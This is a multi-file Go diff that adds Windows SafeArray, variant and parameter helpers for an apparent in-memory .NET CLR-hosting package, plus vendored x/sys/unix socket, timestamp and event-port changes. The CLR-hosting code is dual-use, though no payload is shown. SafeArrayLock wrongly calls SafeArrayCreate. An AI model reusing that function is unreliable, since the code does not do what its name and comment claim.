// void *pv
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearrayputelement
|
||||
func SafeArrayPutElement(psa *SafeArray, rgIndices int32, pv unsafe.Pointer) error {
|
||||
debugPrint("Entering into safearray.SafeArrayPutElement()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayPutElement := modOleAuto.MustFindProc("SafeArrayPutElement")
|
||||
|
||||
hr, _, err := safeArrayPutElement.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(unsafe.Pointer(&rgIndices)),
|
||||
uintptr(pv),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the OleAut32!SafeArrayPutElement call returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// SafeArrayLock increments the lock count of an array, and places a pointer to the array data in pvData of the array descriptor
|
||||
// HRESULT SafeArrayLock(
|
||||
// SAFEARRAY *psa
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraylock
|
||||
func SafeArrayLock(psa *SafeArray) error {
|
||||
debugPrint("Entering into safearray.SafeArrayLock()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayCreate := modOleAuto.MustFindProc("SafeArrayCreate")
|
||||
|
||||
hr, _, err := safeArrayCreate.Call(uintptr(unsafe.Pointer(psa)))
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return err
|
||||
}
|
||||
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the OleAut32!SafeArrayCreate function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// SafeArrayGetVartype gets the VARTYPE stored in the specified safe array
|
||||
// HRESULT SafeArrayGetVartype(
|
||||
// SAFEARRAY *psa,
|
||||
// VARTYPE *pvt
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetvartype
|
||||
func SafeArrayGetVartype(psa *SafeArray) (uint16, error) {
|
||||
debugPrint("Entering into safearray.SafeArrayGetVartype()...")
|
||||
|
||||
var vt uint16
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayGetVartype := modOleAuto.MustFindProc("SafeArrayGetVartype")
|
||||
|
||||
hr, _, err := safeArrayGetVartype.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(unsafe.Pointer(&vt)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return 0, fmt.Errorf("the OleAut32!SafeArrayGetVartype function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return vt, nil
|
||||
}
|
||||
|
||||
// SafeArrayAccessData increments the lock count of an array, and retrieves a pointer to the array data
|
||||
// HRESULT SafeArrayAccessData(
|
||||
// SAFEARRAY *psa,
|
||||
// void HUGEP **ppvData
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearrayaccessdata
|
||||
func SafeArrayAccessData(psa *SafeArray) (*uintptr, error) {
|
||||
debugPrint("Entering into safearray.SafeArrayAccessData()...")
|
||||
|
||||
var ppvData *uintptr
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayAccessData := modOleAuto.MustFindProc("SafeArrayAccessData")
|
||||
|
||||
hr, _, err := safeArrayAccessData.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(unsafe.Pointer(&ppvData)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return nil, err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return nil, fmt.Errorf("the oleaut32!SafeArrayAccessData function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return ppvData, nil
|
||||
}
|
||||
|
||||
// SafeArrayGetLBound gets the lower bound for any dimension of the specified safe array
|
||||
// HRESULT SafeArrayGetLBound(
|
||||
// SAFEARRAY *psa,
|
||||
// UINT nDim,
|
||||
// LONG *plLbound
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetlbound
|
||||
func SafeArrayGetLBound(psa *SafeArray, nDim uint32) (uint32, error) {
|
||||
debugPrint("Entering into safearray.SafeArrayGetLBound()...")
|
||||
var plLbound uint32
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayGetLBound := modOleAuto.MustFindProc("SafeArrayGetLBound")
|
||||
|
||||
hr, _, err := safeArrayGetLBound.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(nDim),
|
||||
uintptr(unsafe.Pointer(&plLbound)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return 0, fmt.Errorf("the oleaut32!SafeArrayGetLBound function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return plLbound, nil
|
||||
}
|
||||
|
||||
// SafeArrayGetUBound gets the upper bound for any dimension of the specified safe array
|
||||
// HRESULT SafeArrayGetUBound(
|
||||
// SAFEARRAY *psa,
|
||||
// UINT nDim,
|
||||
// LONG *plUbound
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetubound
|
||||
func SafeArrayGetUBound(psa *SafeArray, nDim uint32) (uint32, error) {
|
||||
debugPrint("Entering into safearray.SafeArrayGetUBound()...")
|
||||
|
||||
var plUbound uint32
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayGetUBound := modOleAuto.MustFindProc("SafeArrayGetUBound")
|
||||
|
||||
hr, _, err := safeArrayGetUBound.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(nDim),
|
||||
uintptr(unsafe.Pointer(&plUbound)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return 0, fmt.Errorf("the oleaut32!SafeArrayGetUBound function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return plUbound, nil
|
||||
}
|
||||
|
||||
// SafeArrayDestroy Destroys an existing array descriptor and all of the data in the array.
|
||||
// If objects are stored in the array, Release is called on each object in the array.
|
||||
// HRESULT SafeArrayDestroy(
|
||||
// SAFEARRAY *psa
|
||||
// );
|
||||
func SafeArrayDestroy(psa *SafeArray) error {
|
||||
debugPrint("Entering into safearray.SafeArrayDestroy()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayDestroy := modOleAuto.MustFindProc("SafeArrayDestroy")
|
||||
|
||||
hr, _, err := safeArrayDestroy.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the oleaut32!SafeArrayDestroy function call returned an error:\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the oleaut32!SafeArrayDestroy function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
+107
@@ -0,0 +1,107 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
"unicode/utf16"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/text/encoding/unicode"
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
var Debug = false
|
||||
|
||||
// checkOK evaluates a HRESULT code for a caller and determines if there was an error
|
||||
func checkOK(hr uintptr, caller string) error {
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("%s returned 0x%08x", caller, hr)
|
||||
} else {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// must forces the program to exit if there is an error using the log.Fatal command
|
||||
func must(err error) {
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func utf16Le(s string) []byte {
|
||||
enc := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
|
||||
var buf bytes.Buffer
|
||||
t := transform.NewWriter(&buf, enc)
|
||||
t.Write([]byte(s))
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
func expectsParams(input string) bool {
|
||||
return !strings.Contains(input, "Void Main()")
|
||||
}
|
||||
|
||||
// ReadUnicodeStr takes a pointer to a unicode string in memory and returns a string value
|
||||
func ReadUnicodeStr(ptr unsafe.Pointer) string {
|
||||
debugPrint("Entering into utils.ReadUnicodeStr()...")
|
||||
var byteVal uint16
|
||||
out := make([]uint16, 0)
|
||||
for i := 0; ; i++ {
|
||||
byteVal = *(*uint16)(unsafe.Pointer(ptr))
|
||||
if byteVal == 0x0000 {
|
||||
break
|
||||
}
|
||||
out = append(out, byteVal)
|
||||
ptr = unsafe.Pointer(uintptr(ptr) + 2)
|
||||
}
|
||||
return string(utf16.Decode(out))
|
||||
}
|
||||
|
||||
// debugPrint is used to print messages only when debug has been enabled
|
||||
func debugPrint(message string) {
|
||||
if Debug {
|
||||
fmt.Println("[DEBUG] " + message)
|
||||
}
|
||||
}
|
||||
|
||||
// PrepareParameters creates a safe array of strings (arguments) nested inside a Variant object, which is itself
|
||||
// appended to the final safe array
|
||||
func PrepareParameters(params []string) (*SafeArray, error) {
|
||||
sab := SafeArrayBound{
|
||||
cElements: uint32(len(params)),
|
||||
lLbound: 0,
|
||||
}
|
||||
listStrSafeArrayPtr, err := SafeArrayCreate(VT_BSTR, 1, &sab) // VT_BSTR
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for i, p := range params {
|
||||
bstr, err := SysAllocString(p)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
SafeArrayPutElement(listStrSafeArrayPtr, int32(i), bstr)
|
||||
}
|
||||
|
||||
paramVariant := Variant{
|
||||
VT: VT_BSTR | VT_ARRAY, // VT_BSTR | VT_ARRAY
|
||||
Val: uintptr(unsafe.Pointer(listStrSafeArrayPtr)),
|
||||
}
|
||||
|
||||
sab2 := SafeArrayBound{
|
||||
cElements: uint32(1),
|
||||
lLbound: 0,
|
||||
}
|
||||
paramsSafeArrayPtr, err := SafeArrayCreate(VT_VARIANT, 1, &sab2) // VT_VARIANT
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = SafeArrayPutElement(paramsSafeArrayPtr, int32(0), unsafe.Pointer(¶mVariant))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return paramsSafeArrayPtr, nil
|
||||
}
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
const (
|
||||
// VT_EMPTY No value was specified. If an optional argument to an Automation method is left blank, do not
|
||||
// pass a VARIANT of type VT_EMPTY. Instead, pass a VARIANT of type VT_ERROR with a value of DISP_E_PARAMNOTFOUND.
|
||||
VT_EMPTY uint16 = 0x0000
|
||||
// VT_NULL A propagating null value was specified. (This should not be confused with the null pointer.)
|
||||
// The null value is used for tri-state logic, as with SQL.
|
||||
VT_NULL uint16 = 0x0001
|
||||
// VT_UI1 is a Variant Type of Unsigned Integer of 1-byte
|
||||
VT_UI1 uint16 = 0x0011
|
||||
// VT_UT4 is a Varriant Type of Unsigned Integer of 4-byte
|
||||
VT_UI4 uint16 = 0x0013
|
||||
// VT_BSTR is a Variant Type of BSTR, an OLE automation type for transfering length-prefixed strings
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/9c5a5ce4-ff5b-45ce-b915-ada381b34ac1
|
||||
VT_BSTR uint16 = 0x0008
|
||||
// VT_VARIANT is a Variant Type of VARIANT, a container for a union that can hold many types of data
|
||||
VT_VARIANT uint16 = 0x000c
|
||||
// VT_ARRAY is a Variant Type of a SAFEARRAY
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/2e87a537-9305-41c6-a88b-b79809b3703a
|
||||
VT_ARRAY uint16 = 0x2000
|
||||
)
|
||||
|
||||
// from https://github.com/go-ole/go-ole/blob/master/variant_amd64.go
|
||||
// https://docs.microsoft.com/en-us/windows/win32/winauto/variant-structure
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-variant
|
||||
// https://docs.microsoft.com/en-us/previous-versions/windows/embedded/ms891678(v=msdn.10)?redirectedfrom=MSDN
|
||||
// VARIANT Type Constants https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/3fe7db9f-5803-4dc4-9d14-5425d3f5461f
|
||||
type Variant struct {
|
||||
VT uint16 // VARTYPE
|
||||
wReserved1 uint16
|
||||
wReserved2 uint16
|
||||
wReserved3 uint16
|
||||
Val uintptr
|
||||
_ [8]byte
|
||||
}
|
||||
+1
@@ -603,6 +603,7 @@ ccflags="$@"
|
||||
$2 ~ /^ITIMER_/ ||
|
||||
$2 !~ "WMESGLEN" &&
|
||||
$2 ~ /^W[A-Z0-9]+$/ ||
|
||||
$2 ~ /^P_/ ||
|
||||
$2 ~/^PPPIOC/ ||
|
||||
$2 ~ /^FAN_|FANOTIFY_/ ||
|
||||
$2 == "HID_MAX_DESCRIPTOR_SIZE" ||
|
||||
|
||||
+3
-9
@@ -215,18 +215,12 @@ func Accept(fd int) (nfd int, sa Sockaddr, err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
|
||||
func recvmsgRaw(fd int, p, oob []byte, flags int, rsa *RawSockaddrAny) (n, oobn int, recvflags int, err error) {
|
||||
// Recvmsg not implemented on AIX
|
||||
sa := new(SockaddrUnix)
|
||||
return -1, -1, -1, sa, ENOSYS
|
||||
return -1, -1, -1, ENOSYS
|
||||
}
|
||||
|
||||
func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
|
||||
_, err = SendmsgN(fd, p, oob, to, flags)
|
||||
return
|
||||
}
|
||||
|
||||
func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
|
||||
func sendmsgN(fd int, p, oob []byte, ptr unsafe.Pointer, salen _Socklen, flags int) (n int, err error) {
|
||||
// SendmsgN not implemented on AIX
|
||||
return -1, ENOSYS
|
||||
}
|
||||
|
||||
+4
-31
@@ -325,10 +325,9 @@ func GetsockoptString(fd, level, opt int) (string, error) {
|
||||
//sys sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error)
|
||||
//sys recvmsg(s int, msg *Msghdr, flags int) (n int, err error)
|
||||
|
||||
func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
|
||||
func recvmsgRaw(fd int, p, oob []byte, flags int, rsa *RawSockaddrAny) (n, oobn int, recvflags int, err error) {
|
||||
var msg Msghdr
|
||||
var rsa RawSockaddrAny
|
||||
msg.Name = (*byte)(unsafe.Pointer(&rsa))
|
||||
msg.Name = (*byte)(unsafe.Pointer(rsa))
|
||||
msg.Namelen = uint32(SizeofSockaddrAny)
|
||||
var iov Iovec
|
||||
if len(p) > 0 {
|
||||
@@ -352,29 +351,12 @@ func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from
|
||||
}
|
||||
oobn = int(msg.Controllen)
|
||||
recvflags = int(msg.Flags)
|
||||
// source address is only specified if the socket is unconnected
|
||||
if rsa.Addr.Family != AF_UNSPEC {
|
||||
from, err = anyToSockaddr(fd, &rsa)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
//sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error)
|
||||
|
||||
func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
|
||||
_, err = SendmsgN(fd, p, oob, to, flags)
|
||||
return
|
||||
}
|
||||
|
||||
func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
|
||||
var ptr unsafe.Pointer
|
||||
var salen _Socklen
|
||||
if to != nil {
|
||||
ptr, salen, err = to.sockaddr()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
func sendmsgN(fd int, p, oob []byte, ptr unsafe.Pointer, salen _Socklen, flags int) (n int, err error) {
|
||||
var msg Msghdr
|
||||
msg.Name = (*byte)(unsafe.Pointer(ptr))
|
||||
msg.Namelen = uint32(salen)
|
||||
@@ -571,12 +553,7 @@ func UtimesNano(path string, ts []Timespec) error {
|
||||
if len(ts) != 2 {
|
||||
return EINVAL
|
||||
}
|
||||
// Darwin setattrlist can set nanosecond timestamps
|
||||
err := setattrlistTimes(path, ts, 0)
|
||||
if err != ENOSYS {
|
||||
return err
|
||||
}
|
||||
err = utimensat(AT_FDCWD, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
|
||||
err := utimensat(AT_FDCWD, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
|
||||
if err != ENOSYS {
|
||||
return err
|
||||
}
|
||||
@@ -596,10 +573,6 @@ func UtimesNanoAt(dirfd int, path string, ts []Timespec, flags int) error {
|
||||
if len(ts) != 2 {
|
||||
return EINVAL
|
||||
}
|
||||
err := setattrlistTimes(path, ts, flags)
|
||||
if err != ENOSYS {
|
||||
return err
|
||||
}
|
||||
return utimensat(dirfd, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), flags)
|
||||
}
|
||||
|
||||
|
||||
+1
-40
@@ -141,16 +141,6 @@ func direntNamlen(buf []byte) (uint64, bool) {
|
||||
func PtraceAttach(pid int) (err error) { return ptrace(PT_ATTACH, pid, 0, 0) }
|
||||
func PtraceDetach(pid int) (err error) { return ptrace(PT_DETACH, pid, 0, 0) }
|
||||
|
||||
type attrList struct {
|
||||
bitmapCount uint16
|
||||
_ uint16
|
||||
CommonAttr uint32
|
||||
VolAttr uint32
|
||||
DirAttr uint32
|
||||
FileAttr uint32
|
||||
Forkattr uint32
|
||||
}
|
||||
|
||||
//sysnb pipe(p *[2]int32) (err error)
|
||||
|
||||
func Pipe(p []int) (err error) {
|
||||
@@ -282,36 +272,7 @@ func Flistxattr(fd int, dest []byte) (sz int, err error) {
|
||||
return flistxattr(fd, xattrPointer(dest), len(dest), 0)
|
||||
}
|
||||
|
||||
func setattrlistTimes(path string, times []Timespec, flags int) error {
|
||||
_p0, err := BytePtrFromString(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var attrList attrList
|
||||
attrList.bitmapCount = ATTR_BIT_MAP_COUNT
|
||||
attrList.CommonAttr = ATTR_CMN_MODTIME | ATTR_CMN_ACCTIME
|
||||
|
||||
// order is mtime, atime: the opposite of Chtimes
|
||||
attributes := [2]Timespec{times[1], times[0]}
|
||||
options := 0
|
||||
if flags&AT_SYMLINK_NOFOLLOW != 0 {
|
||||
options |= FSOPT_NOFOLLOW
|
||||
}
|
||||
return setattrlist(
|
||||
_p0,
|
||||
unsafe.Pointer(&attrList),
|
||||
unsafe.Pointer(&attributes),
|
||||
unsafe.Sizeof(attributes),
|
||||
options)
|
||||
}
|
||||
|
||||
//sys setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error)
|
||||
|
||||
func utimensat(dirfd int, path string, times *[2]Timespec, flags int) error {
|
||||
// Darwin doesn't support SYS_UTIMENSAT
|
||||
return ENOSYS
|
||||
}
|
||||
//sys utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error)
|
||||
|
||||
/*
|
||||
* Wrapped
|
||||
|
||||
-5
@@ -169,11 +169,6 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func setattrlistTimes(path string, times []Timespec, flags int) error {
|
||||
// used on Darwin for UtimesNano
|
||||
return ENOSYS
|
||||
}
|
||||
|
||||
//sys ioctl(fd int, req uint, arg uintptr) (err error)
|
||||
|
||||
//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
|
||||
|
||||
-5
@@ -194,11 +194,6 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func setattrlistTimes(path string, times []Timespec, flags int) error {
|
||||
// used on Darwin for UtimesNano
|
||||
return ENOSYS
|
||||
}
|
||||
|
||||
//sys ioctl(fd int, req uint, arg uintptr) (err error)
|
||||
|
||||
//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
|
||||
|
||||
+6
-23
@@ -366,6 +366,8 @@ func Wait4(pid int, wstatus *WaitStatus, options int, rusage *Rusage) (wpid int,
|
||||
return
|
||||
}
|
||||
|
||||
//sys Waitid(idType int, id int, info *Siginfo, options int, rusage *Rusage) (err error)
|
||||
|
||||
func Mkfifo(path string, mode uint32) error {
|
||||
return Mknod(path, mode|S_IFIFO, 0)
|
||||
}
|
||||
@@ -1497,10 +1499,9 @@ func KeyctlRestrictKeyring(ringid int, keyType string, restriction string) error
|
||||
//sys keyctlRestrictKeyringByType(cmd int, arg2 int, keyType string, restriction string) (err error) = SYS_KEYCTL
|
||||
//sys keyctlRestrictKeyring(cmd int, arg2 int) (err error) = SYS_KEYCTL
|
||||
|
||||
func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
|
||||
func recvmsgRaw(fd int, p, oob []byte, flags int, rsa *RawSockaddrAny) (n, oobn int, recvflags int, err error) {
|
||||
var msg Msghdr
|
||||
var rsa RawSockaddrAny
|
||||
msg.Name = (*byte)(unsafe.Pointer(&rsa))
|
||||
msg.Name = (*byte)(unsafe.Pointer(rsa))
|
||||
msg.Namelen = uint32(SizeofSockaddrAny)
|
||||
var iov Iovec
|
||||
if len(p) > 0 {
|
||||
@@ -1531,28 +1532,10 @@ func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from
|
||||
}
|
||||
oobn = int(msg.Controllen)
|
||||
recvflags = int(msg.Flags)
|
||||
// source address is only specified if the socket is unconnected
|
||||
if rsa.Addr.Family != AF_UNSPEC {
|
||||
from, err = anyToSockaddr(fd, &rsa)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
|
||||
_, err = SendmsgN(fd, p, oob, to, flags)
|
||||
return
|
||||
}
|
||||
|
||||
func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
|
||||
var ptr unsafe.Pointer
|
||||
var salen _Socklen
|
||||
if to != nil {
|
||||
var err error
|
||||
ptr, salen, err = to.sockaddr()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
func sendmsgN(fd int, p, oob []byte, ptr unsafe.Pointer, salen _Socklen, flags int) (n int, err error) {
|
||||
var msg Msghdr
|
||||
msg.Name = (*byte)(ptr)
|
||||
msg.Namelen = uint32(salen)
|
||||
@@ -2316,6 +2299,7 @@ type RemoteIovec struct {
|
||||
|
||||
//sys PidfdOpen(pid int, flags int) (fd int, err error) = SYS_PIDFD_OPEN
|
||||
//sys PidfdGetfd(pidfd int, targetfd int, flags int) (fd int, err error) = SYS_PIDFD_GETFD
|
||||
//sys PidfdSendSignal(pidfd int, sig Signal, info *Siginfo, flags int) (err error) = SYS_PIDFD_SEND_SIGNAL
|
||||
|
||||
//sys shmat(id int, addr uintptr, flag int) (ret uintptr, err error)
|
||||
//sys shmctl(id int, cmd int, buf *SysvShmDesc) (result int, err error)
|
||||
@@ -2464,5 +2448,4 @@ func Setitimer(which ItimerWhich, it Itimerval) (Itimerval, error) {
|
||||
// Vfork
|
||||
// Vhangup
|
||||
// Vserver
|
||||
// Waitid
|
||||
// _Sysctl
|
||||
-5
@@ -163,11 +163,6 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
|
||||
return -1, ENOSYS
|
||||
}
|
||||
|
||||
func setattrlistTimes(path string, times []Timespec, flags int) error {
|
||||
// used on Darwin for UtimesNano
|
||||
return ENOSYS
|
||||
}
|
||||
|
||||
//sys ioctl(fd int, req uint, arg uintptr) (err error)
|
||||
|
||||
//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
|
||||
|
||||
-5
@@ -149,11 +149,6 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func setattrlistTimes(path string, times []Timespec, flags int) error {
|
||||
// used on Darwin for UtimesNano
|
||||
return ENOSYS
|
||||
}
|
||||
|
||||
//sys ioctl(fd int, req uint, arg uintptr) (err error)
|
||||
|
||||
//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
|
||||
|
||||
+85
-63
@@ -451,10 +451,9 @@ func Accept(fd int) (nfd int, sa Sockaddr, err error) {
|
||||
|
||||
//sys recvmsg(s int, msg *Msghdr, flags int) (n int, err error) = libsocket.__xnet_recvmsg
|
||||
|
||||
func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
|
||||
func recvmsgRaw(fd int, p, oob []byte, flags int, rsa *RawSockaddrAny) (n, oobn int, recvflags int, err error) {
|
||||
var msg Msghdr
|
||||
var rsa RawSockaddrAny
|
||||
msg.Name = (*byte)(unsafe.Pointer(&rsa))
|
||||
msg.Name = (*byte)(unsafe.Pointer(rsa))
|
||||
msg.Namelen = uint32(SizeofSockaddrAny)
|
||||
var iov Iovec
|
||||
if len(p) > 0 {
|
||||
@@ -476,29 +475,12 @@ func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from
|
||||
return
|
||||
}
|
||||
oobn = int(msg.Accrightslen)
|
||||
// source address is only specified if the socket is unconnected
|
||||
if rsa.Addr.Family != AF_UNSPEC {
|
||||
from, err = anyToSockaddr(fd, &rsa)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
|
||||
_, err = SendmsgN(fd, p, oob, to, flags)
|
||||
return
|
||||
}
|
||||
|
||||
//sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error) = libsocket.__xnet_sendmsg
|
||||
|
||||
func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
|
||||
var ptr unsafe.Pointer
|
||||
var salen _Socklen
|
||||
if to != nil {
|
||||
ptr, salen, err = to.sockaddr()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
func sendmsgN(fd int, p, oob []byte, ptr unsafe.Pointer, salen _Socklen, flags int) (n int, err error) {
|
||||
var msg Msghdr
|
||||
msg.Name = (*byte)(unsafe.Pointer(ptr))
|
||||
msg.Namelen = uint32(salen)
|
||||
@@ -755,8 +737,20 @@ type fileObjCookie struct {
|
||||
type EventPort struct {
|
||||
port int
|
||||
mu sync.Mutex
|
||||
fds map[uintptr]interface{}
|
||||
fds map[uintptr]*fileObjCookie
|
||||
paths map[string]*fileObjCookie
|
||||
// The user cookie presents an interesting challenge from a memory management perspective.
|
||||
// There are two paths by which we can discover that it is no longer in use:
|
||||
// 1. The user calls port_dissociate before any events fire
|
||||
// 2. An event fires and we return it to the user
|
||||
// The tricky situation is if the event has fired in the kernel but
|
||||
// the user hasn't requested/received it yet.
|
||||
// If the user wants to port_dissociate before the event has been processed,
|
||||
// we should handle things gracefully. To do so, we need to keep an extra
|
||||
// reference to the cookie around until the event is processed
|
||||
// thus the otherwise seemingly extraneous "cookies" map
|
||||
// The key of this map is a pointer to the corresponding &fCookie.cookie
|
||||
cookies map[*interface{}]*fileObjCookie
|
||||
}
|
||||
|
||||
// PortEvent is an abstraction of the port_event C struct.
|
||||
@@ -780,9 +774,10 @@ func NewEventPort() (*EventPort, error) {
|
||||
return nil, err
|
||||
}
|
||||
e := &EventPort{
|
||||
port: port,
|
||||
fds: make(map[uintptr]interface{}),
|
||||
paths: make(map[string]*fileObjCookie),
|
||||
port: port,
|
||||
fds: make(map[uintptr]*fileObjCookie),
|
||||
paths: make(map[string]*fileObjCookie),
|
||||
cookies: make(map[*interface{}]*fileObjCookie),
|
||||
}
|
||||
return e, nil
|
||||
}
|
||||
@@ -797,9 +792,13 @@ func NewEventPort() (*EventPort, error) {
|
||||
func (e *EventPort) Close() error {
|
||||
e.mu.Lock()
|
||||
defer e.mu.Unlock()
|
||||
err := Close(e.port)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
e.fds = nil
|
||||
e.paths = nil
|
||||
return Close(e.port)
|
||||
return nil
|
||||
}
|
||||
|
||||
// PathIsWatched checks to see if path is associated with this EventPort.
|
||||
@@ -836,6 +835,7 @@ func (e *EventPort) AssociatePath(path string, stat os.FileInfo, events int, coo
|
||||
return err
|
||||
}
|
||||
e.paths[path] = fCookie
|
||||
e.cookies[&fCookie.cookie] = fCookie
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -848,11 +848,19 @@ func (e *EventPort) DissociatePath(path string) error {
|
||||
return fmt.Errorf("%v is not associated with this Event Port", path)
|
||||
}
|
||||
_, err := port_dissociate(e.port, PORT_SOURCE_FILE, uintptr(unsafe.Pointer(f.fobj)))
|
||||
